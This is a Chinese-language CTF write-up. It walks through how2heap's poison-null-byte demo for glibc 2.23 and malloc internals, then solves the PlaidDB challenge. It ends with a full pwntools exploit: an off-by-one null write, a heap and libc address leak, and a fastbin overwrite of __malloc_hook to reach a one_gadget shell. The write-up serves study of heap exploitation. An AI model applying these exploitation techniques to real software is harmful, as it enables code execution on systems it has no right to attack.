0%

how2heap - poison_null_byte&plaiddb

how2heap - poison_null_byte&plaiddb

ubuntu16.04 libc2.23

poison_null_byte.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>


int main()
{
fprintf(stderr, "Welcome to poison null byte 2.0!\n");
fprintf(stderr, "Tested in Ubuntu 14.04 64bit.\n");
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;

fprintf(stderr, "We allocate 0x100 bytes for 'a'.\n");
a = (uint8_t*) malloc(0x100);
fprintf(stderr, "a: %p\n", a);
int real_a_size = malloc_usable_size(a);
fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);

/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);

fprintf(stderr, "b: %p\n", b);

c = (uint8_t*) malloc(0x100);
fprintf(stderr, "c: %p\n", c);

barrier = malloc(0x100);
fprintf(stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n", barrier);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);

// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
fprintf(stderr, "In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;

// this technique works by overwriting the size metadata of a free chunk
free(b);

fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
fprintf(stderr, "b.size is: (0x200 + 0x10) | prev_in_use\n");
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);

uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
fprintf(stderr, "c.prev_size is %#lx\n",*c_prev_size_ptr);

// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);

fprintf(stderr, "b1: %p\n",b1);
fprintf(stderr, "Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
fprintf(stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
fprintf(stderr, "We malloc 'b2', our 'victim' chunk.\n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control

b2 = malloc(0x80);
fprintf(stderr, "b2: %p\n",b2);

memset(b2,'B',0x80);
fprintf(stderr, "Current b2 content:\n%s\n",b2);

fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

free(b1);
free(c);

fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n");
d = malloc(0x300);
fprintf(stderr, "d: %p\n",d);

fprintf(stderr, "Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);

fprintf(stderr, "New b2 content:\n%s\n",b2);

fprintf(stderr, "Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.\n");
}

大致意思如下:程序首先malloc了四个small chunk(这里我写的是实际大小)接着进行如下操作:

0x110(a) 0x210(b) 0x110(c) 0x110(barrier)

  1. 在b chunk的0x200偏移处写上了0x200
  2. free(b),设置c.prev_size=0x210,c.size=0x110(此时b chunk被置入unsorted bin)
  3. 通过a的溢出将b.size由0x211改为0x200
  4. b1=malloc(0x100),将b分割出b1(如果不在之前设置fake prev_size,分割时调用unlink会出错)
  5. b2=malloc(0x80)//victim chunk
  6. free(b1)b1被free之后在下一步free(c)时即可通过unlink的检查FD->bk != P || BK->fd != P
  7. free(c),由于c.prev_size在之前被设置成了0x210,c.size为0x110,所以这个free会将前0x210size的chunk一起合并
  8. d=malloc(0x300),此时d与b2 overlap

debug

debug的时候实在是受不了pwndbg里面heap的非hex显示了,于是自己去改了一下pwndbg的脚本(然后被安利了pwngdb和pwndocker,准备这个题写完就去看看)

在pwndbg/pwndbg/commands目录下的heap.py文件里面,找到malloc_chunk函数,然后替换一下注释掉的那行即可:

1
2
3
4
5
6
#print(header, chunk["value"])
print(header,'{')
print(' prev_size = '+hex(chunk['prev_size']).ljust(15,chr(0x20)),'size = '+hex(chunk['size']))
print(' fd = '+hex(chunk['fd']).ljust(15,chr(0x20)),'bk = '+hex(chunk['bk']))
print(' fd_nextsize = '+hex(chunk['fd_nextsize']).ljust(15,chr(0x20)),'bk_nextsize = '+hex(chunk['bk_nextsize']))
print('}')

gdb.Value object里面的直接打印的话是十进制显示的一些值,看起来没那么方便,自己可以按照喜欢的格式改一下脚本

第3步执行之后:

1581064511575

ps:这里可以看出来pwndbg的heap显示是根据堆上的size偏移来计算chunk地址的,所以修改size之后会出现这种错位的现象

第5步执行之后:

第6步执行之后:

b1会被再次放入unsorted bin当中,此时b1是在正常bin链上,当然也具备unlink检查的条件

ps:注意第7步执行之后,本来是unlink了b1这个堆块,但是free时会把合并后的堆块再放入unsortedbin,所以在gdb下查看第七步执行之后的bins中unsortedbin是没有变的(毕竟b1和b的首地址时一样的)

第8步执行过程

我调试了很久很久,主要是搭了glibc源码的调试环境然后撸了很久的malloc源码

因为在第八步执行前heap上和chunk的情况是这样的:

但是执行之后变成了这样:

小的被分割出来的chunk被放入了smallbins,然后malloc(0x300)返回出来的chunk是合并后0x320字节的chunk,照理来说应该是0x310才对,如果是对0x320的chunk进行了切割,剩下的0x10字节是<MINSIZE的,所以得看分配时是不是发生了哪种fit,最后在撸了源码之后,参考xman师傅发的堆ppt看到了这个(不愧是师傅们的总结,tql),不过师傅们的总结这里,unsorted bin大小满足分配需求、剩余大小<MINSIZE时在我这里似乎并不是直接取,因为我撸源码时,里面判断>MINSIZE不成立时直接就把unsortedbin中最后一个块取下来了。

1581133887238

ps:再就是直接从unsortedbin取chunk要满足上图中未打框的四个条件,这里在第4步malloc(0x100)分割出b1,实际上不是从unsortedbin b直接切出来的,是先把这个chunk放入了对应的smallbins,然后再从smallbins切出来的,剩下的快由于大于MINSIZE,所以再被链入了unsortedbin,此时last_remainder才被初始化(对应剩下的块),看上去b1好像是直接从unsortedbin b直接切出来的实际上不是(所以这里再立个 flag,自己找时间把malloc的全流程稍微详细的写一遍),所以我发现分割之后的两个chunk中fd和bk不一样,如下(last_remainder也在第一次分割chunk后初始化):

1581152010623

如上,首先被链入smallbins

回到第八步,ptmalloc源码分析那本PDF里面也写到了best-fit相关:

此时从对应smallbins中对应下标(0x310->0x31)的下一个下标(0x320->0x32)开始找,这里补一个binmap的知识点

binmap&一些流程

在x64下binmap同样是4个Dword(4*32)

利用binmap找到best-fit chunk的具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
for (;;) {
/* Skip rest of block if there are no more set bits in this block. */
if (bit > map || bit == 0) {
do {
if (++block >= BINMAPSIZE) /* out of bins */
goto use_top;
} while ( (map = av->binmap[block]) == 0);
bin = bin_at(av, (block << BINMAPSHIFT));
bit = 1;
//Idx2bit()宏将 idx 指定的位设置为 1,其它位清零, map 表示一个 block(unsigned int)值,如果 bit
//大于 map,意味着 map 为 0,该 block 所对应的所有 bins 中都没有空闲 chunk,于是遍历 binmap 的下一
//个 block,直到找到一个不为 0 的 block 或者遍历完所有的 block。退出循环遍历后,设置 bin 指向 block
//的第一个 bit 对应的 bin,并将 bit 置为 1,表示该 block中 bit 1 对应的 bin,这个 bin 中如果有空闲
//chunk,该 chunk 的大小一定满足要求。

while ((bit & map) == 0) {
bin = next_bin(bin);
bit <<= 1;
assert(bit != 0);
}
//在一个 block 遍历对应的 bin,直到找到一个 bit 不为 0 退出遍历,则该 bit 对于的 bin
//中有空闲 chunk 存在。
victim = last(bin);
}

然后接下来就是一些分配流程

  • 如果 victim 与 bin 链表头指针相同,表示该 bin 中没有空闲 chunk, binmap 中的相应位设置不准确,将 binmap 的相应 bit 位清零, 获取当前 bin 下一个 bin,将 bit 移到下一个 bit位,即乘以 2。
  • 当前 bin 中的最后一个 chunk 满足要求,获取该 chunk 的大小,计算切分出所需 chunk
    后剩余部分的大小,然后将 victim 从 bin 的链表中取出。
    • 如果剩余部分的大小小于 MINSIZE,将整个 chunk 分配给应用层,设置 victim 的状态为inuse,如果当前分配区为非主分配区,设置 victim 的非主分配区标志位。 (这里就是我们0x320的chunk最终被返回的原因)
    • 否则从 victim 中切分出所需的 chunk,剩余部分作为一个新的 chunk 加入到 unsorted bin 中。如果剩余部分 chunk 属于 small bins,将分配区的 last remainder chunk 设置为剩余部分构成的 chunk; 如果剩余部分 chunk 属于 large bins,将剩余部分 chunk 的 chunk size 链表指针设置为 NULL,因为 unsorted bin 中的 chunk 是不排序的,这两个指针无用,必须清零
      • 接着设置 victim 和 remainder 的状态,由于 remainder 为空闲 chunk,所以需要设置该 chunk
        的 foot。

如果以上的分配都没有成功最后就会去寻找top_chunk

这里找到一个ptmalloc简单点的总结:

  1. 在fastbin中寻找有没有对应的chunk
  2. 请求大小为small bin范围,在small bin中寻找有没有对应的chunk
  3. 请求大小为large bin范围,仅调用malloc_consolidate合并fastbin
  4. 在unsorted bin中寻找有没有合适的chunk
  5. 在large bin中寻找有没有合适的chunk
  6. 寻找较大的bin链中有没有合适的chunk
  7. 寻找top_chunk
  8. top_chunk不够用,调用malloc_consolidate合并fastbin
  9. top_chunk不够用,系统调用再次申请内存

原文链接:https://zhuanlan.zhihu.com/p/77316206

plaiddb

程序分析

打开IDA茫茫一片23333,然后自己先去把这个程序跑了一下,了解了一下大致的功能,看能不能先理出一点逆向思路来

暂时理解的大概意思就是:GET是获取一个row的内容,PUT是放入一个新的row,DUMP是打印rows的信息,DEL是删除一个row,EXIT就是退出了。

接下来再来分析代码

因为这个函数里面的运算比较多,而且第一次进去也就是做了一些初始化,所以我就先慢慢分析下面的真正菜单


Two hours later…..


….逆锤子?结果还是要回到sub_CF0??….两百多行的函数配着循环和goto,快把我给逆疯了好嘛….(wtcl…)

我先是逆出了一个结构体的样子(查了wp发现我这个结构体也还稍微有点问题,0x30处的应该是一个leaf or not的flag标识,我刚开始还以为它代表是否为根节点,不过bss段上存的那个变量应该是根节点指针):

1581237156090

是的,我是在里面一次次调试尝试加上静态分析之后才发现这个数据库是用树形结构来实现的,限于数据结构的水平和逆向的代码量….我没有逆出来具体是哪种树,发现是树形结构之后为了不太浪费时间就放弃了逆向…转而查了WP(pwn这边果然是任重而道远啊)

PUT

  • 先申请一个0x40的chunk作为结点
  • 在Enter里面申请一个0x20的chunk存储这个结点的row key
  • 然后再申请一个我们可以控制大小的chunk来存储data
    • 如果申请失败就free掉前两个chunk
  • data chunk申请成功,通过freadn来输入data,并尝试将这个结点加入red-black tree
  • 如果加入失败说明之前有相同的row key,树操作会返回相同row key结点的指针成功则返回0
    • 失败:先free掉前面的row key chunk已有结点的data chunk,接着更新已有结点的data size和data chunk指针,然后free掉前面的申请的结点chunk

DUMP

  • 根据某种遍历方式,打印出所有结点的row key还有对应的data size(这里IDA打印函数的参数识别稍微有点问题)

GET

  • Enter时申请一个row key chunk,然后通过对比找到相应结点
  • 打印相应结点的data chunk内容
  • free掉前面Enter的row key chunk

DEL

茫茫一片的树操作,不过关注点只需要放在chunk的操作上即可

1581258539173

  • Enter一个row key chunk,然后查找对应的结点
    • 找到了:free对应结点的row key chunk和data chunk然后free结点、free Enter的chunk
    • 没找到:直接退出,没有free Enter的chunk

off_by_one

程序存在一个off_by_one,在Enter函数里面

当chunk_ptr_now - chunk_ptr == usable_size时,最后一步操作 *chunk_ptr_now=0会越界赋值0

Exploit

程序的流程是终于捋出来了,但是这个利用好想需要想一想,每次都是几个chunk一起操作(特别是PUT的时候),以前做的利用都比较单一,没有这么复杂。


回想一下前面的poison_null_byte.c

  • free掉两个chunk中间的一个chunk(free之前先设置一个假的prev_size来通过malloc的检查,和之前那篇里面的fake size目的是不一样的,一个是为了通过free的检查一个是为了通过malloc的检查)(free之后第三个chunk的prev_inuse位就为0了)
  • 用第一个chunk的off_by_one来影响第二个chunk的size字段
  • malloc两个小一点的chunk:b1&b2
  • free b1之后free第三个chunk,此时第三个chunk和b2 overlap

那到这个题里面应该怎么利用呢emmm…..把断点下在第一次输入完命令DUMP之后(dump执行完不会影响heap),调试看一下

1581260525230

此时堆中的chunks就是我们前面初始化的第一个结点还有对应的row key chunk和data chunk

在这些chunk里面,结点chunk还有row key chunk都是指定大小的fastchunk,只有data可以为不同的chunk,然后存在漏洞的Enter函数是只被row key chunk调用的,所以off_by_one只发生在row key chunk生成时后面紧跟着的chunk

各处的malloc(初始化之后的)

PUT中的chunk申请顺序:结点 -> row key -> data

GET中只申请了一个row key

DEL中也只有一个row key

各处的free

PUT中:

  • data申请失败会free掉PUT函数中申请的row key chunk和结点chunk
  • 输入的row key已存在时会free PUT函数中申请的row key chunk和已有结点的data chunk,还有前面的结点chunk

GET中无论如何都会free用来查找的row key chunk

DEL中:

  • 找到了:free对应结点的row key chunk、data chunk然后free结点、free Enter的chunk
  • 没找到:直接退出,没有free Enter的chunk

第一思路:

在初始化的基础上,再申请两个节点,此时堆中就会有以下结构

0x40 0x20 0x20 0x40 0x20 0x??? 0x40 0x20 0x??? 0x??????
结点1 row key1 data1 结点2 row key2 data2 结点3 row key3 data3 top_chunk

接着删除第二个结点

0x40 0x20 0x20 0x40 0x20 0x??? 0x40 0x20 0x??? 0x20 0x??????
结点1 row key1 data1 结点2 row key2 data2 结点3 row key3 data3 row key4 top_chunk
fastbin fastbin ?bin fastbin

此时0x20的fastbin中是row key4->row key2

然后通过DEL中没有free Enter chunk,申请两次,从而第二次可以在row key2处对data2造成off_by_one(既然能off_by_one,data2就肯定不是fastchunk了)

但是还有一点,off_by_one发生之后,如果我们的目的是用例子的那种overlap,这是结点3是一个fastchunk,free的时候并不会向前合并,所以这个思路显然不行

ps:然而当我写完后面的再回来看的时候,这里又是我立的一个flag,或者说我当时写到这里的时候还对构造不太熟悉,如果把两个data chunk构造在一起好像也不是不行(只要删掉前面一个结点,就会在fastbin中腾出位置来,再申请一个有大于之前data块的结点就可以了),主要是写后面的构造方法写着写着就忘了前面这个我想到的用DEL填充来off_by_one然后合并前面的chunk的方法,如果用这种方式来构造的话可以这样构造:

0x40 0x20 0x20 0x40 0x20 0xd0 0x40 0x20 0x70 0x40 0x20 0x100 0x40 0x20 0x40
结点1 rowkey1 data1 结点2 rowkey2 data2 结点3 rowkey3 data3 data5 结点5 rowkey5
fastbin2 fastbin1 fastbin2

第二思路:

0x40 0x20 0x20 0x40 0x20 0x??? 0x40 0x20 0x??? 0x??????
结点1 row key1 data1 结点2 row key2 data2 结点3 row key3 data3 top_chunk

还是先产生这样的结构,不过此时row key3是和row key2一样的,主要是想让结点2中的data2改到data3去,然后就会变成这样

0x40 0x20 0x20 0x40 0x20 0x??? 0x40 0x20 0x??? 0x??????
结点1 row key1 data1 结点2 row key2 data2_old 结点3 row key3 data2_n top_chunk
?bin fastbin fastbin

然后接着构造(data3要大过data2_old)

0x40 0x20 0x20 0x40 0x20 0x??? 0x40 0x20 0x?00 0x??? 0x??????
结点1 rowkey1 data1 结点2 rowkey2 data2_old 结点3 rowkey3 data2_n data3 top_chunk
?bin

申请新的结点3,并在此时对data2_n构成off_by_one并写好prev_size

这里之后我去参考了一些wp,发现大家都是用的结构体前面两个成员,row key ptr还有data size进行的leak,而且对应的指针是unsortedbin指针,因为unsortedbin指针的偏移会指向top_chunk,使用这种泄露方式可以同时泄露出libc_base和heap_base,再就是how2heap中这个off_by_one是用来malloc的时候不改变下个chunk的prev_size,但是这个题用off_by_one来free合并前面的chunk似乎更简单一点

接着构造Double free,但是如果想要修改malloc hook之类的地方,我发现我不仅需要一个0x70的fastchunk(参考之前写的babyheap),还需要一个smallbin合并时用来unlink,所以得回去再重新加上(当然此时的chunk链结构就又发生了变化,保证data2_n被free时能合并前面的chunk,而且0x70chunk必须在这个smallbin之后)

计算size并更改之后:

0x40 0x20 0x20 0x40 0x20 0x90
结点1 rowkey1 data1_n
fastbin fastbin fastbin

然后一步步构造之前构造过的

0x40 0x20 0x20 0x40 0x20 0x90 0x40
结点1 rowkey1 rowkey2 结点2 data1_n data2
fastbin

然后把data2后面造成一个结点为了0x90+0x40的chunk被分割之后直接DUMP leak

0x40 0x20 0x20 0x40 0x20 0x90 0x40 0x40 0x70
结点1 rowkey1 rowkey2 结点2 data1_n data2 data2_n
fastbin fastbin fastbin
0x40 0x20 0x20 0x40 0x20 0x90 0x40 0x40 0x70
结点1 rowkey1 rowkey2 结点2 rowkey3 data1_n data3 结点3 data2_n

开始构造off_by_one

0x40 0x20 0x20 0x40 0x20 0x90 0x40 0x40 0x70 0x40 0x20 0x60
结点1 rowkey1 rowkey2 结点2 rowkey3 data1_n data3 结点3 data2_nn
fastbin fastbin fastbin
0x40 0x20 0x20 0x40 0x20 0x90 0x40 0x40 0x70 0x40 0x20 0x60 0x60
结点1 rowkey1 rowkey2 结点2 rowkey3 data1_n data3 结点3 结点4 rowkey4 data2_nn data4
fastbin
0x40 0x20 0x20 0x40 0x20 0x90 0x40 0x40 0x70 0x40 0x20 0x60 0x60 0x40 0x20 0x110
结点1 rowkey1 rowkey2 结点2 rowkey3 data1_n data3 结点3 结点4 rowkey4 data2_nn data4_n
fastbin fastbin fastbin fastbin

终于具备漏洞利用的条件了

再添加一个结点5trigger off_by_one

0x40 0x20 0x20 0x40 0x20 0x90 0x40 0x40 0x70 0x40 0x20 0x60 0x60 0x40 0x20 0x110
结点1 rowkey1 rowkey2 结点2 rowkey3 data1_n data3 结点3 结点4 rowkey4 data2_nn data5 结点5 rowkey5 data4_n
fastbin

删掉结点2、1、4(这里我调试之后回来2删了,否则后面树操作好像会出错,>>>…<<<中间的是unsorted chunk)

0x40 0x20 0x20 0x40 0x20 0x90 0x40 0x40 0x70 0x40 0x20 0x60 0x60 0x40 0x20 0x110 0x20
rowkey3 data3 结点3 data5 结点5 rowkey5 data4_n
fastbin fastbin fastbin fastbin >>> fastbin fastbin fastbin fastbin <<< fastbin

然后申请一个data为0xD0的块a,但是由于我申请的大小太玄学了…top_chunk结尾刚好是\x00,打印会失败,所以我又更改了data5的大小,然后就可以成功leak了,此时的堆应该是这样(这里我把同大小的fastchunk在fastbin链表上的位置通过调试标出来了最先被malloc出去的数字最大,方便后面的制表):

0x40 0x20 0x20 0x40 0x20 0x90 0x40 0x40 0x70 0x40 0x20 0x60 0x60 0x40 0x20 0x110 0x20 0x110
rowkey3 (a data) data3(a data) 结点3 结点a 结点5 rowkey5 data4_n rowkey a data5_n
fastbin2 fastbin2 fastbin1 fastbin1 >>> fastbin1 fastbin3 fastbin2 fastbin1 <<<

leak之后我们再申请一个data size为0xB0的chunk b,就刚好把接下来0x70和0x40这个chunk重复利用了,而0x70这个chunk在fastbin里面,只要把他的fd改到__malloc_hook上方即可(具体位置见之前写的的babyheap)

不过至于具体的data填充操作我调试了很久很久,稍不注意就会在各种地方出错,建议直接把内存全部打印出来然后照着上面的填进去,这样比较好

0x40 0x20 0x20 0x40 0x20 0x90 0x40 0x40 0x70 0x40 0x20 0x60 0x60 0x40 0x20 0x110 0x20 0x110
结点b rowkey3 (a data) data3(a data) 结点3(data b) (data b) 结点a rowkeyb 结点5 rowkey5 data4_n rowkey a data5_n
fastbin2 fastbin1 fastbin1 fastbin1 >>> fastbin2 fastbin1 <<<

然后我们在申请一个没有意义的c(data为0x70的fastchunk),只是为了下一次能把__malloc_hook那块内存给malloc出来

0x40 0x20 0x20 0x40 0x20 0x90 0x40 0x40 0x70 0x40 0x20 0x60 0x60 0x40 0x20 0x110 0x20 0x110
结点b rowkey c 结点c rowkey3 (a data) data3(a data) 结点3(data b) (data b)(data c) 结点a rowkeyb 结点5 rowkey5 data4_n rowkey a data5_n
fastbin1 >>> fastbin2 fastbin1 <<<

这里好像再进行申请时会出错,我删结点5好像也删不掉(显示notfound,可能是因为a被unsortedbin指针破坏,然后树结构改变了的原因),本来以为到这里就会嗝屁失败了,但是b被我成功删掉了(这可能就是玄学吧XD,希望以后不要有这种情况)

然后malloc一个0x70的chunk修改__malloc_hook

不过在PUT里面的malloc触发one_gadget死活不成功,本来以为又要嗝屁了55555,结果在我坚持尝试的努力下,在DEL中成功将one_gadget触发成功

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = 'PlaidDB' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
my_u32 = lambda x: u32(x.ljust(4, '\0'))
ub_offset = 0x3c4b30
codebase = 0x555555554000
#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")

# todo here
def GET(key):
p.recvuntil('Enter command:\n')
p.sendline("GET")
p.recvline("PROMPT: Enter row key:")
p.sendline(key)

def PUT(key, size, data):
p.recvuntil('Enter command:\n')
p.sendline("PUT")
p.recvline("PROMPT: Enter row key:")
p.sendline(key)
p.recvline("PROMPT: Enter data size:")
p.sendline(str(size))
p.recvline("PROMPT: Enter data:")
p.send(data)

def DUMP():
p.recvuntil('Enter command:\n')
p.sendline("DUMP")

def DEL(key):
p.recvuntil('Enter command:\n')
p.sendline("DEL")
p.recvline("PROMPT: Enter row key:")
p.sendline(key)

PUT("th3fl4g", 0x88, '\x00'*0x88)
PUT("2222222", 0x38, '\x00'*0x38)
PUT("2222222", 0x68, '\x00'*0x68)
PUT("3333333", 0x38, '\x00'*0x38)
PUT("2222222", 0x58, '\x00'*0x58)
PUT('4444444', 0x58, '\x00'*0x58)
PUT('4444444', 0xf8, '\x00'*0xf8)
PUT('5'*0x10+p64(0x300), 0x108, '\x00'*0x108)

DEL('2222222')
DEL('th3fl4g')
DEL('4444444')

gdb.attach(p,'brva 0x1334')
PUT('a', 0xc8, '\x00'*0xc8)#D0 chunk

DUMP()
#p.recvuntil('bytes')
p.recvuntil('[')
heap_base=my_u64(p.recv(6))-0x610
p.recvuntil(', ')
libc_base=int(p.recvuntil(' '))-0x3c4b78
log.info("\033[1;36m" + hex(heap_base)+','+hex(libc_base) + "\033[0m")

fill1=p64(0)*2+p64(heap_base+0x180)+p64(0)*2+p64(heap_base+0x390)+p64(0)+p64(0x71)+p64(libc_base+0x3c4aed)+p64(0)*12
PUT('b',0xa8,fill1)

PUT('c',0x68,'no mean'.ljust(0x48,'\x00')+p64(0x200)+p64(libc_base+0x3c4b78)*2+'\x00'*8)

DEL('b')
### Write different one_gadget
#PUT('never',0x68,'\x00'*19+p64(libc_base+0x45216)+'\x00'*77)
PUT('gogogo',0x68,'\x00'*19+p64(libc_base+0x4526a)+'\x00'*77)
#PUT('never',0x68,'\x00'*19+p64(libc_base+0xf02a4)+'\x00'*77)
#PUT('never',0x68,'\x00'*19+p64(libc_base+0xf1147)+'\x00'*77)

# try try try
DEL('gogogo')
#GET('')

p.interactive()

小记

这个堆题应该是目前为止写的时间最长,也是最麻烦的一个堆题,主要是树形结构的逆向很耗时间,然后再off_by_one的构造上也要花不少功夫,合并的内存块前面必须要满足unlink条件,这个就需要精力去考虑一下在这种复杂堆管理下的构造方式,再就是一定要清楚各个模块对chunk操作的顺序,否贼写起来真的毫无头绪。再就是这个leak的方式也是我第一次见,通过unsortedbin指针,既打印了libc的地址又打印了堆的地址,承认这个操作是看师傅们的wp来的,以后一定在leak方面加把劲XD。最后就是玄学树操作,比赛碰到这种一定要不求甚解,只要能不影响漏洞利用就可以了,要不然浪费大量时间。
另外这题师傅们的构造更好一点,师傅们的构造是这样的,0x90加到0x100 chunk之前刚好是0x200的一个chunk

node A dataB rkB rkA dataA nodeB nodeC rkC nodeD rkd(exp) dataC_n dataD
0x40 0x20 0x20 0x20 0x90 0x40 0x40 0x20 0x70 0x40 0x20 0x100 0x20
fastbin1

最后:多撸源码